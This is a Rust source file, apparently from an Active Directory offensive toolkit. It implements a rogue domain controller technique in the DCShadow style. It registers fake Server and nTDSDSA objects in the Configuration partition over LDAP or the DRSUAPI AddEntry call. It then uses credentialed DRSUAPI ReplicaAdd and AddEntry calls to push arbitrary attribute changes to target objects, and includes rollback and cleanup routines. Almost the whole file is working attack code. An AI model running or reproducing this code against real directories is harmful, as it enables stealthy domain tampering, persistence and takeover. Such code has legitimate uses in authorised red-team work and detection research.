use adhammer_collector::Collector;
use anyhow::{Context, Result};
#[derive(Debug, Clone)]
pub struct RogueDcDns {
pub server_dn: String,
pub ntds_dn: String,
}
impl RogueDcDns {
pub fn build(dc_name: &str, site: &str, base_dn: &str) -> Self {
let server_dn =
format!("CN={dc_name},CN=Servers,CN={site},CN=Sites,CN=Configuration,{base_dn}");
let ntds_dn = format!("CN=NTDS Settings,{server_dn}");
RogueDcDns { server_dn, ntds_dn }
}
}
pub async fn prep(coll: &mut Collector, dc_name: &str, site: &str) -> Result<RogueDcDns> {
let base_dn = coll.base_dn().to_string();
let dns = RogueDcDns::build(dc_name, site, &base_dn);
let config_nc = format!("CN=Configuration,{base_dn}");
let schema_nc = format!("CN=Schema,{config_nc}");
let server_attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
("objectClass", vec![b"top".to_vec(), b"server".to_vec()]),
("cn", vec![dc_name.as_bytes().to_vec()]),
];
coll.add_object(&dns.server_dn, server_attrs)
.await
.with_context(|| format!("add rogue Server object at {}", dns.server_dn))?;
let invocation_id: [u8; 16] = rand::random();
let ntds_category = format!("CN=NTDS-DSA,CN=Schema,{config_nc}");
let ntds_attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
(
"objectClass",
vec![
b"top".to_vec(),
b"applicationSettings".to_vec(),
b"nTDSDSA".to_vec(),
],
),
("cn", vec![b"NTDS Settings".to_vec()]),
("objectCategory", vec![ntds_category.into_bytes()]),
("options", vec![b"1".to_vec()]),
("systemFlags", vec![b"33554432".to_vec()]),
("msDS-Behavior-Version", vec![b"7".to_vec()]),
("hasMasterNCs", vec![config_nc.as_bytes().to_vec()]),
(
"msDS-HasMasterNCs",
vec![
config_nc.as_bytes().to_vec(),
schema_nc.as_bytes().to_vec(),
base_dn.as_bytes().to_vec(),
],
),
("dMDLocation", vec![schema_nc.as_bytes().to_vec()]),
("invocationId", vec![invocation_id.to_vec()]),
];
if let Err(e) = coll.add_object(&dns.ntds_dn, ntds_attrs).await {
let _ = coll.delete_object(&dns.server_dn).await;
return Err(e).with_context(|| {
format!(
"add rogue nTDSDSA at {} — rolled back parent Server",
dns.ntds_dn
)
});
}
Ok(dns)
}
pub async fn cleanup(coll: &mut Collector, dc_name: &str, site: &str) -> Result<()> {
let base_dn = coll.base_dn().to_string();
let dns = RogueDcDns::build(dc_name, site, &base_dn);
let _ = coll.delete_object(&dns.ntds_dn).await;
let _ = coll.delete_object(&dns.server_dn).await;
Ok(())
}
#[derive(Clone, Debug)]
pub struct DrsAuth {
pub host: String,
pub domain: String,
pub user: String,
pub password: adhammer_core::SecretString,
}
pub async fn drsuapi_prep(
coll: &mut Collector,
drs: &DrsAuth,
dc_name: &str,
site: &str,
) -> Result<RogueDcDns> {
use ms_drsr::addentry::{AddEntry, EntryAttribute};
use ms_drsr::DrsSession;
let base_dn = coll.base_dn().to_string();
let dns = RogueDcDns::build(dc_name, site, &base_dn);
let config_nc = format!("CN=Configuration,{base_dn}");
let schema_nc = format!("CN=Schema,{config_nc}");
let invocation_id: [u8; 16] = rand::random();
let mut sess = DrsSession::bind(&drs.host, &drs.domain, &drs.user, &drs.password)
.await
.with_context(|| format!("DRSBind {}@{}", drs.user, drs.host))?;
let server_entry = AddEntry {
dn: dns.server_dn.clone(),
attrs: vec![
EntryAttribute {
attr_typ: 0x0000_0000, values: vec![b"top".to_vec(), b"server".to_vec()],
},
EntryAttribute {
attr_typ: 0x0000_0003, values: vec![dc_name.as_bytes().to_vec()],
},
],
flags: 0,
};
let ntds_entry = AddEntry {
dn: dns.ntds_dn.clone(),
attrs: vec![
EntryAttribute {
attr_typ: 0x0000_0000, values: vec![
b"top".to_vec(),
b"applicationSettings".to_vec(),
b"nTDSDSA".to_vec(),
],
},
EntryAttribute {
attr_typ: 0x0000_0003, values: vec![b"NTDS Settings".to_vec()],
},
EntryAttribute {
attr_typ: 0x0009_0043, values: vec![b"1".to_vec()],
},
EntryAttribute {
attr_typ: 0x0009_0060, values: vec![b"33554432".to_vec()],
},
EntryAttribute {
attr_typ: 0x0009_02c1,
values: vec![b"7".to_vec()],
},
EntryAttribute {
attr_typ: 0x0009_0104,
values: vec![config_nc.as_bytes().to_vec()],
},
EntryAttribute {
attr_typ: 0x0009_02be,
values: vec![
config_nc.as_bytes().to_vec(),
schema_nc.as_bytes().to_vec(),
base_dn.as_bytes().to_vec(),
],
},
EntryAttribute {
attr_typ: 0x0009_0032,
values: vec![schema_nc.as_bytes().to_vec()],
},
EntryAttribute {
attr_typ: 0x0009_020c,
values: vec![invocation_id.to_vec()],
},
],
flags: 0,
};
let reply = sess
.add_entry(&[server_entry, ntds_entry])
.await
.context("IDL_DRSAddEntry (opnum 17) for rogue Server+nTDSDSA")?;
for (i, r) in reply.results.iter().enumerate() {
if let Err(e) = r {
let _ = coll.delete_object(&dns.ntds_dn).await;
let _ = coll.delete_object(&dns.server_dn).await;
anyhow::bail!("IDL_DRSAddEntry rejected entry {i}: {e} — rolled back any partial adds");
}
}
if reply.results.is_empty() {
anyhow::bail!("IDL_DRSAddEntry returned no per-entry results — DC likely rejected the top-level request; falling back requires --prep on ≤2016 targets");
}
Ok(dns)
}
pub async fn drsuapi_push(
drs: &DrsAuth,
dst_nc_dn: &str,
rogue_dsa_dns_name: &str,
target_dn: &str,
attr_typ: u32,
value: Vec<u8>,
) -> Result<()> {
use ms_drsr::addentry::{AddEntry, EntryAttribute};
use ms_drsr::repladd::{DRS_INIT_SYNC, DRS_WRIT_REP};
use ms_drsr::DrsSession;
let mut sess = DrsSession::bind(&drs.host, &drs.domain, &drs.user, &drs.password)
.await
.with_context(|| format!("DRSBind {}@{}", drs.user, drs.host))?;
let status = sess
.replica_add(dst_nc_dn, rogue_dsa_dns_name, DRS_WRIT_REP | DRS_INIT_SYNC)
.await
.context("IDL_DRSReplicaAdd (opnum 5)")?;
if status != 0 {
anyhow::bail!("IDL_DRSReplicaAdd returned status 0x{status:08x}");
}
let modification = AddEntry {
dn: target_dn.to_string(),
attrs: vec![EntryAttribute {
attr_typ,
values: vec![value],
}],
flags: 0,
};
let reply = sess
.add_entry(std::slice::from_ref(&modification))
.await
.context("IDL_DRSAddEntry (opnum 17) for push modification")?;
for (i, r) in reply.results.iter().enumerate() {
if let Err(e) = r {
anyhow::bail!("IDL_DRSAddEntry rejected push entry {i}: {e}");
}
}
Ok(())
}